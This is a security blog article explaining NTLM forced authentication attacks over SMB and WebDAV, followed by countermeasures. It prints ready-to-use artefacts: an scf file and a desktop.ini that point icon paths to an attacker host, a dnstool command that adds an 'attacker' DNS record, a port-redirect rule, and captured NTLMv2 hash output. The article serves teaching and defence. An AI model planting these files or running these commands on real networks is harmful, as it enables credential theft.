Forced Authentication - Attacks against NTLM via SMB and WebDAV

Forced Authentication

Attacks against NTLM via SMB and WebDAV

Michael Schneider
by Michael Schneider
on April 21, 2022
time to read: 11 minutes

Keypoints

This is how Forced Authentication works

  • The protocols SMB and WebDAV with NTLM authentication are vulnerable against Forced Authentication attacks
  • The user's password can be calculated from the NTLM challenge response
  • The authentication can be coerced against rogue authentication servers with files that load an icon from a remote path
  • As a countermeasure, NTLM should be completely disabled
  • Long and complex passwords make the attack more difficult

The goal of a forced authentication attack is to obtain credentials by forcing users to automatically send them. This exploits the behaviour of protocols to load resources, establish a connection to a remote system and use the current user’s credentials in the authentication process. Specific manipulated files can be placed on shares, or resources can be embedded in emails or websites to coerce this authentication.

For a forced authentication attack to be successful, several conditions must be met. Firstly, the authentication of the protocol must be structured in such a way that attackers can directly obtain or calculate the password, secondly, it must be possible to force connections and thirdly, the attacker must be able to place an authentication server within the range of the attack target. The SMB and WebDAV protocols in combination with NTLM authentication are particularly effective for this.

Challenge Response

In a forced authentication attack, attackers do not directly obtain the password of a user. Both SMB and WebDAV protocols use the NTLM authentication protocol. In the challenge response procedure of NTLM, the client establishes a connection to the server and informs it in the message NEGOTIATE_MESSAGE which NTLM options are supported. The server responds with the message CHALLENGE_MESSAGE to check the identity of the client. The client in turn answers this challenge with the message AUTHENTICATE_MESSAGE.

The configuration of the NTLM LAN Manager Authentication Level determines which NTLM protocol levels are supported. Ideally, LM and NTLM should be rejected and only NTLMv2 should be used for authentication, protected by NTLMv2 session security. None of the protocol levels can prevent the attack, but the complexity to calculate the password can be increased.

It is possible to calculate a password because a NTLMv2 response is structured as follows:

  1. The server sends the challenge (8-byte block random data)
  2. The client generates the NTHash from the user’s password (based on MD4, 16 bytes).
  3. The username and the name of the server are combined into a string and the NTLMv2 hash is calculated from this using HMAC-MD5 and the NTHash as the key.
  4. A data block called blob is built from various information, including the current timestamp, a client nonce and components of the server CHALLENGE_MESSAGE.
  5. The blob is then concatenated with the server’s challenge and a new value is calculated from it using HMAC-MD5 and the NTLMv2 hash as the key.
  6. This value is concatenated with the blob and this results in the NTLMv2 response

The structure of the NTLMv2 response can be studied in detail in the documentation The NTLM Authentication Protocol and Security Support Provider of the Davenport WebDAV-SMB Gateway project.

Since in a forced authentication attack the server is controlled by attackers, all the information of the challenge response procedure is known, and the client’s response can be used to compute the user’s password. In the event of an attack, the server can send the same challenge value to simplify the calculation of multiple passwords. For example, the challenge 1122334455667788 is used for this purpose.

Authentication Server

Either the tool Responder from Laurent GaffiƩ or the tool ntlmrelayx from the impacket framework can be used as authentication server.

In addition to authentication servers for the protocols HTTP, SMB, MSSQL, FTP and LDAP, Responder also has modules for attacks against the multicast protocols LLMNR, NBT-NS, and MDNS. The hashes are written to a sqlite database as well as to text files and can be cracked directly with hashcat.

The tool ntlmrelayx is mainly known for the various relay attacks against different Windows protocols and services. Recorded hashes are written to a file and can also be used directly with hashcat.

Both tools can be configured individually and are both excellent as authentication servers for forced authentication attacks.

Attack

For the attack, a file is prepared to load a resource from a remote server when the file is opened or displayed in Windows Explorer. In the examples, it is assumed that attackers can write to a share, for example a public folder of a company. The attackers’ authentication server is in the same network as the target systems.

In the most straightforward case, the resource is loaded via SMB. Then the path can contain only an IP address. If an SMB connection cannot be established on port 445/tcp, a fallback to WebDAV takes place. However, a NTLM authentication only occurs if a NetBIOS name has been used and the authentication server is located in a trusted zone. If a WebDAV connection on the standard port 80/tcp is also blocked, the port can be adjusted in the path:

Protocol Path
SMB \\IP-Adresse\share\icon.png
SMB, WebDAV \\NetBIOSName\share\icon.png
WebDAV (different port) \\NetBIOSName@Port\share\icon.png

If a different port is used, either the configuration of the authentication server must be customised or the port must be forwarded:

$ port=8080
$ sudo iptables -t nat -A PREROUTING -p tcp --dport $port -j REDIRECT --to-port 80

If the authentication server does not have a NetBIOS name or DNS record, attackers with the rights of a domain user can create their own record if Windows DNS servers are used. This can be achieved with the tool krbrelayx from Dirk-jan Mollema:

$ python3 krbrelayx/dnstool.py --zone <zone> -a add -r <name> -t A -d <ip-addr> -u <domain>\\<user> ldaps://<dc-fqdn> 
$ python3 krbrelayx/dnstool.py -a add -r "attacker" -t A -d 192.0.2.5 -u example.org\\craig ldaps://dc01.example.org

The parameter zone must only be used if the zone does not match the domain. In this command, an A-record attacker is created for the IP address 192.0.2.5 by the user craig.

Various file formats such as lnk, scf, or desktop.ini can be used for this attack. The Metasploit Framework has the auxiliary multidrop to generate such files. A scf file can also be created with a text editor:

[Shell]
Command=2
IconFile=\\192.0.2.5\share\test.ico
[Taskbar]
Command=ToggleDesktop

If a user now views this file in Windows Explorer, a connection to the attackers’ authentication server is established and the NTLMv2 hash is captured.

[SMB] NTLMv2-SSP Client   : 192.0.2.23
[SMB] NTLMv2-SSP Username : EXAMPLE\bob
[SMB] NTLMv2-SSP Hash     : bob::EXAMPLE:1122334455667788:A4589A28A82D83A6D381606C4BD1B41A:010100000...

In Responder, it is visible which protocol was used to capture the hash. In this case it is SMB. If a network share is full of folders and therefore the file is not displayed directly, the icon of a folder can also be used. To do this, the file desktop.ini is placed in the respective folder:

[ViewState]
Mode=
Vid=
FolderType=Generic
[.ShellClassInfo]
IconResource=\\attacker@8080\share\test.ico,0

In this case, a WebDAV connection to the attackers’ authentication server is established and the NTLMv2 hash is captured.

[WebDAV] NTLMv2 Client   : 192.0.2.23
[WebDAV] NTLMv2 Username : EXAMPLE\bob
[WebDAV] NTLMv2 Hash     : bob::EXAMPLE:1122334455667788:5660BDAF68D6598588B9D5EDDAC52522:010100000...

Attackers can place as many files as they want in different shares and collect hashes over a certain time and then crack them offline later.

Countermeasures

There is no single step to prevent all attacks on any network protocol other than removing the protocol completely. Therefore, a forced authentication attack can only be blocked if the protocol NTLM is disabled. However, the deactivation is a lengthy process, and it should be carefully investigated beforehand whether NTLM is still needed in the infrastructure. Ned Pyle from Microsoft has written the article NTLM Blocking and You: Application Analysis and Auditing Methodologies in Windows 7 about the analysis.

The deactivation of the WebClient service avoids the fallback to WebDAV for loading of files over HTTP if SMB is not available. To do this, a group policy can be set to disable the WebClient service. Ned Pyle again has written a helpful article on this subject titled How to Defend Users from Interception Attacks via SMB Client Defense.

The attack can be made more difficult by restrictive segmentation of the network as well as by preventing client-to-client connections. For an attack via WebDAV, however, attackers only need one open port, blocking 80/tcp and 445/tcp is not sufficient. Outgoing connections to the internet via port 445/tcp must not be allowed under any circumstances.

Another method is to use long and complex passwords. This does not prevent the attack itself, but it makes it more difficult to calculate passwords. The use of multi-factor authentication can make it more difficult to use the cracked passwords.

Conclusion

Forced authentication attacks are an efficient instrument for attackers to obtain credentials of other users if they have previously been able to establish a foothold in the network. To defend against such attacks, considerable changes in the configuration of the Windows systems are necessary. The introduction of network segmentation and the isolation of clients are also tools against such attacks. The implementation with a Windows host firewall and the deactivation of the Webclient service are short- and medium-term measures, while the deactivation of NTLM requires a long analysis before implementation. The increase in security more than compensates for the high effort.

About the Author

Michael Schneider

Michael Schneider has been in IT since 2000. Since 2010 he is focused on information security. He is an expert at penetration testing, hardening and the detection of vulnerabilities in operating systems. He is well-known for a variety of tools written in PowerShell to find, exploit, and mitigate weaknesses. (ORCID 0000-0003-0772-9761)

Links

You want to test the security of your firewall?

Our experts will get in contact with you!

×
Reporting and Documenting

Reporting and Documenting

Michael Schneider

Introduction of CVSS v4.0

Introduction of CVSS v4.0

Michael Schneider

Rogue Device

Rogue Device

Michael Schneider

Windows LAPS

Windows LAPS

Michael Schneider

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here